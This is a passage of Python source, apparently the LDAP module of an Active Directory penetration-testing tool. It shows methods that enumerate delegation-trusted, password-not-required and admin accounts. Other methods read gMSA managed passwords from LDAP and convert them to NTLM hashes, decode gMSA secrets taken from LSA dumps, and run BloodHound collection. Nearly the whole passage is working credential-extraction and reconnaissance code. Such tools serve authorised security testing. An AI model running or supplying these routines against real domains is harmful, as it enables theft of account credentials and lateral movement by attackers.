exc_info=True) logging.error('Principal: %s - %s' % (downLevelLogonName, str(e))) return True else: self.logger.highlight("No entries found!") return self.logger.error("Error with the LDAP account used") def trusted_for_delegation(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'] resp = self.search(searchFilter, attributes, 0) answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: logging.debug(answers) for value in answers: self.logger.highlight(value[0]) else: self.logger.error("No entries found!") return def password_not_required(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)" try: logging.debug('Search Filter=%s' % searchFilter) resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], sizeLimit=0) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: return False answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 status = 'enabled' lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': if int(attribute['vals'][0]) & 2 : status = 'disabled' userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl, status]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: logging.debug(answers) for value in answers: self.logger.highlight("User: " + value[0] + " Status: " + value[5]) else: self.logger.error("No entries found!") return def admin_count(self): # Building the search filter searchFilter = "(adminCount=1)" attributes=['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'] resp = self.search(searchFilter, attributes, 0) answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: logging.debug(answers) for value in answers: self.logger.highlight(value[0]) else: self.logger.error("No entries found!") return def gmsa(self): self.logger.info("Getting GMSA Passwords") search_filter = '(objectClass=msDS-GroupManagedServiceAccount)' gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter, attributes=['sAMAccountName', 'msDS-ManagedPassword','msDS-GroupMSAMembership'], sizeLimit=0, searchBase=self.baseDN) if gmsa_accounts: answers = [] logging.debug('Total of records returned %d' % len(gmsa_accounts)) for item in gmsa_accounts: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue sAMAccountName = '' passwd = '' for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) if str(attribute['type']) == 'msDS-ManagedPassword': data = attribute['vals'][0].asOctets() blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) currentPassword = blob['CurrentPassword'][:-2] ntlm_hash = MD4.new () ntlm_hash.update (currentPassword) passwd = hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight("Account: {:<20} NTLM: {}".format(sAMAccountName, passwd)) return True def decipher_gmsa_name(self, domain_name=None, account_name=None): # https://aadinternals.com/post/gmsa/ gmsa_account_name = (domain_name + account_name).upper() self.logger.debug(f"GMSA name for {gmsa_account_name}") bin_account_name = gmsa_account_name.encode("utf-16le") bin_hash = hmac.new(bytes('' , 'latin-1'), msg = bin_account_name, digestmod = hashlib.sha256).digest() hex_letters = "0123456789abcdef" str_hash = "" for b in bin_hash: str_hash += hex_letters[b & 0x0f] str_hash += hex_letters[b >> 0x04] self.logger.debug(f"Hash2: {str_hash}") return str_hash def gmsa_convert_id(self): if self.args.gmsa_convert_id: if len(self.args.gmsa_convert_id) != 64: self.logger.error("Length of the gmsa id not correct :'(") else: # getting the gmsa account search_filter = '(objectClass=msDS-GroupManagedServiceAccount)' gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter, attributes=['sAMAccountName'], sizeLimit=0, searchBase=self.baseDN) if gmsa_accounts: answers = [] logging.debug('Total of records returned %d' % len(gmsa_accounts)) for item in gmsa_accounts: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue sAMAccountName = '' for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) if self.decipher_gmsa_name(self.domain.split('.')[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id: self.logger.highlight("Account: {:<20} ID: {}".format(sAMAccountName, self.args.gmsa_convert_id)) break else: self.logger.error("No string provided :'(") def gmsa_decrypt_lsa(self): if self.args.gmsa_decrypt_lsa: if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa: gmsa = self.args.gmsa_decrypt_lsa.split("_")[4].split(":") gmsa_id = gmsa[0] gmsa_pass = gmsa[1] # getting the gmsa account search_filter = '(objectClass=msDS-GroupManagedServiceAccount)' gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter, attributes=['sAMAccountName'], sizeLimit=0, searchBase=self.baseDN) if gmsa_accounts: answers = [] logging.debug('Total of records returned %d' % len(gmsa_accounts)) for item in gmsa_accounts: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue sAMAccountName = '' for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) if self.decipher_gmsa_name(self.domain.split('.')[0], sAMAccountName[:-1]) == gmsa_id: gmsa_id = sAMAccountName break # convert to ntlm data = bytes.fromhex(gmsa_pass) blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) currentPassword = blob['CurrentPassword'][:-2] ntlm_hash = MD4.new () ntlm_hash.update (currentPassword) passwd = hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight("Account: {:<20} NTLM: {}".format(gmsa_id, passwd)) else: self.logger.error("No string provided :'(") def bloodhound(self): auth = ADAuthentication(username=self.username, password=self.password, domain=self.domain, lm_hash=self.nthash, nt_hash=self.nthash, aeskey=self.aesKey, kdc=self.kdcHost, auth_method='auto') ad = AD(auth=auth, domain=self.domain, nameserver=self.args.nameserver, dns_tcp=False, dns_timeout=3) collect = resolve_collection_methods('Default' if not self.args.collection else self.args.collection) if not collect: return self.logger.highlight('Resolved collection methods: %s', ', '.join(list(collect))) logging.debug('Using DNS to retrieve domain information') ad.dns_resolve(domain=self.domain) if self.args.kerberos: self.logger.highlight("Using kerberos auth without ccache, getting TGT") auth.get_tgt() if self.args.use_kcache: self.logger.highlight("Using kerberos auth from ccache") timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_" bloodhound = BloodHound(ad, self.hostname, self.host, self.args.port) bloodhound.connect() # root_logger = logging.getLogger() # root_logger.setLevel(logging.INFO) # bad bad coding but it's late and I don't have much time from termcolor import colored debug_output_string = "{:<24} {:<15} {:<6} {:<16} \033[1m\x1b[33;20m%(message)s \x1b[0m".format(colored(self.logger.extra['protocol'], 'blue', attrs=['bold']), self.logger.extra['host'], self.logger.extra['port'], self.logger.extra['hostname'] if self.logger.extra['hostname'] else 'NONE') formatter = logging.Formatter(debug_output_string) streamHandler = logging.StreamHandler() streamHandler.setFormatter(formatter) root_logger = logging.getLogger() root_logger.handlers = [] root_logger.addHandler(streamHandler) root_logger.setLevel(logging.INFO) bloodhound.run(collect=collect, num_workers=10, disable_pooling=False, timestamp=timestamp, computerfile=None, cachefile=None, exclude_dcs=False) self.logger.highlight("Compressing output into " + self.output_filename + "bloodhound.zip") list_of_files = os.listdir(os.getcwd()) with ZipFile(self.output_filename + "bloodhound.zip",'w') as zip: for each_file in list_of_files: if each_file.startswith(timestamp) and each_file.endswith("json"): zip.write(each_file) os.remove(each_file)